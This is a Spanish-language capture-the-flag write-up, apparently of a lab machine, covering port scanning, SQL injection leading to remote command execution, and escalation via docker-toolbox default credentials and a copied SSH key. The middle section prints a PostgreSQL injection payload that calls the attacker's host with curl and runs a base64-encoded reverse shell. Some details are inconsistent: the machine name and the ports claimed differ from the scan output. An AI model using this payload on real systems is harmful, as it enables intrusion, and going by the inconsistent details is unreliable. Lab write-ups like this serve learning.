En cuanto a la escalada de privilegios, se dirigió la atención al puerto TCP 21 (FTP), ya que el informe de nmap indicaba la disponibilidad del usuario anonumous. Al iniciar sesión como este usuario, se descubrió un archivo .exe denominado docker-toolbox.exe. Una rápida investigación en Google reveló que esta herramienta a menudo tiene credenciales predeterminadas. Aprovechando esto, se escaneó los puertos internos, descubriendo que el puerto 22 estaba abierto. Esto permitió la conexión a la máquina anfitriona con las credenciales predeterminadas, obteniendo así una shell como el usuario docker. La exploración de la carpeta raíz reveló la presencia de una carpeta 'c', que imitaba la estructura de directorios de Windows, dentro de la cual se encontraba la carpeta de Administrador con un directorio .ssh que contenía la llave privada. Esta llave se copió a la máquina atacante, lo que resultó en una shell como el usuario Administrador y, finalmente, en la captura de la última flag.
Keywords: Port enumeration, docker-toolbox, ftp, user anonymous, PostgreSQL Injection, Remote Command Execution, privilege escalation.
Palabras Clave: Enumeración de puertos, docker-toolbox, ftp, usuario anonymous, Inyección PostgreSQL, Ejecución Remota de comandos, escalada de privilegios.
Realizado por Luis Ramos Moncayo, a fecha 8 de febrero de 2024
Se emplea la herramienta Nmap para hacer el reconocimiento de puertos de la máquina Horizontall y de esta forma conocer cuales están abiertos.
> nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.10.236 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-07 22:42 CET
Initiating SYN Stealth Scan at 22:42
Scanning 10.10.10.236 [65535 ports]
Discovered open port 445/tcp on 10.10.10.236
Discovered open port 443/tcp on 10.10.10.236
Discovered open port 22/tcp on 10.10.10.236
Discovered open port 135/tcp on 10.10.10.236
Discovered open port 139/tcp on 10.10.10.236
Discovered open port 21/tcp on 10.10.10.236
Discovered open port 49670/tcp on 10.10.10.236
Discovered open port 49667/tcp on 10.10.10.236
Completed SYN Stealth Scan at 22:57, 880.88s elapsed (65535 total ports)
Nmap scan report for 10.10.10.236
Host is up, received user-set (0.68s latency).
Scanned at 2024-02-07 22:42:34 CET for 881s
Not shown: 46298 filtered tcp ports (no-response), 19229 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
22/tcp open ssh syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 881.09 seconds
Raw packets sent: 177319 (7.802MB) | Rcvd: 19240 (769.644KB)
| Parámetros Nmap | |
|---|---|
| -p- | Escanea todos los 65535 puertos |
| –open | Solo muestra los puertos abiertos |
| -sS | Escaneo TCP SYN |
| –min-rate | Envío mínimo de paquetes |
| -vvv | Muestra la información del escaneo mientras está ejecutándose |
| -n | No realiza resolución DNS |
| -Pn | No realiza Host Discovery |
| -oG | Exporta el output en un archivo con formato grepeable |
Se confirma que tiene abiertos los siguientes puertos: 22 (ssh) y 80 (http), por lo que mediante el archivo grepeable que creamos anteriormente, se hara uso de una función personalidada en la .zshrc, que extrae y copia a la clipboard los puertos resultantes de la primera consulta nmap para luego pegarlos en una siguiente.
> extractPorts allPorts
[+] Extracting Information....
[+] IP Address: 10.10.10.236
[+] Open Ports: 21,22,135,139,443,445,49668,49670
[+] Ports copied to clipboard
Con esta siguiente consulta se buscará enumerar que servicios están expuertos y sus respectivas versiones.
> nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49669 10.10.10.236 -oN targeted
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-07 23:06 CET
Nmap scan report for admin.megalogistic.com (10.10.10.236)
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_ssl-date: TLS randomness does not represent time
|_http-title: Administrator Login
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-02-07T22:07:28
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.37 seconds
| Parámetros Nmap | |
|---|---|
| -sC | Conjunto de Scripts básicos de reconocimiento |
| -sV | Verificación de las versiones de los servicios expuestos |
| -oN | Guarda el output en un archivo |
En el escanéo se observa que en el puerto TCP 443 existe un subdominio admin.megalogistic.com, por ende existe el dominio megalogistic.com. Para que resuelva el dominio en el navegador, se procede añadirlos al archivo /etc/hosts.
En el puerto 443 se observa que tiene expuesto una página web. Se enumeró para encontrar alguna vulnerabilidad que se pueda explotar, pero no se encontró ninguna.
Recordando que en el análisis nmap se encontró un subdominio, por lo que se procede a revisar la página que se encuentra expuesta en admin.megalogistic.com.
En la página, presenta un panel de autenticación y mediante burpsuite se capturará la petición, de esta manera ir probando que campo pueda ser vulnerable a inyección SQL.
Se confirma que el campo username es vulnerable a inyección SQL.
Se requiere conocer que tipo de dbms corre por detrás. Mediante la provocación de un error, se logra conocer que el dbms es un PostgreSQL.
Conociendo que por detrás corre PostgreSQL, se podrá ejecutar comandos de manera remota (RCE). Primero, se tiene que crear un script en bash para la obtención de una reverse shell por el puerto 4443 en este caso.
El script que se creo anteriormente se lo tiene que pasar a base64, de la forma que se muestra continuación.
Creamos dos instancias de terminal, en una se tiene que estár por el puerto que se colocó en el script, es decir el puerto 4443, y en la otra instancia se crea un servidor web por el puerto 80 utilizando python3.
En burpsuite, se coloca un payload que se enviará el script que se paso a base64, para que la máquina víctima lo decodifice y lo ejecute con el comando bash.
username=admin'; copy (SELECT '') to program 'curl http://10.10.14.81?f=`echo -n "IyEvYmluL2Jhc2gKCmJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuODEvNDQ0MyAwPiYxJwo=" | base64 -d | bash`'-- -&password=
En la terminal donde se estaba en escucha, se obtiene una shell como el usuario Postgre y se captura la user flag.
En el escaneo de nmap se observa que el servicio FTP se encuentra expuesto y que además el usuario anonymous está disponible por lo que se procede a conectarse con este usuario.
Listando los archivos existentes, se observa que existe un .exe llamado docker-toolbox.exe. Se busca acerca de esta herramienta en google, y se logra observar que existe usuario y contraseña por defecto.
Se verifica que se encuentra en un docker, mediante el comando \textbf{ifconfig} se observa que se tiene la ip 172.17.0.2, por lo que se puede intuir que la máquina host tiene 172.17.0.1 como ip.
Mediante un escaneo de puertos internos con el uso de bash, se logra descubir los puertos: 22, 443, 2376 abiertos.
Conociendo las credenciales por defecto que existe en docker-toolbox y conociendo que el usuario docker no existe en la máquina actual, se procede a probarlo conectando a la máquina host. Se obtiene una shell como el usuario docker.
Enumerando la máquina se observa que en la carpeta raíz se encuentra una carpeta con nombre 'c' que no tiene que ver nada con la raíz de un linux.
En la carpeta c se observa otra carpeta llamada Users que presenta una estructura de directorios igual que en Windows. Dentro de los usuarios se observa la carpeta Administrador.
Dentro de la carpeta Administrador se observa que existe una carpeta .ssh puede haber la existencia de una llave privada.
Se encuentra la llave privada como Administrador para la máquina host, por lo que se copia a la máquina atacante esta llave para poder conectarse por ssh sin necesidad de ingresar contraseña.
Se obtiene conexión a la máquina como el usuario Administrador logrando capturar la última flag.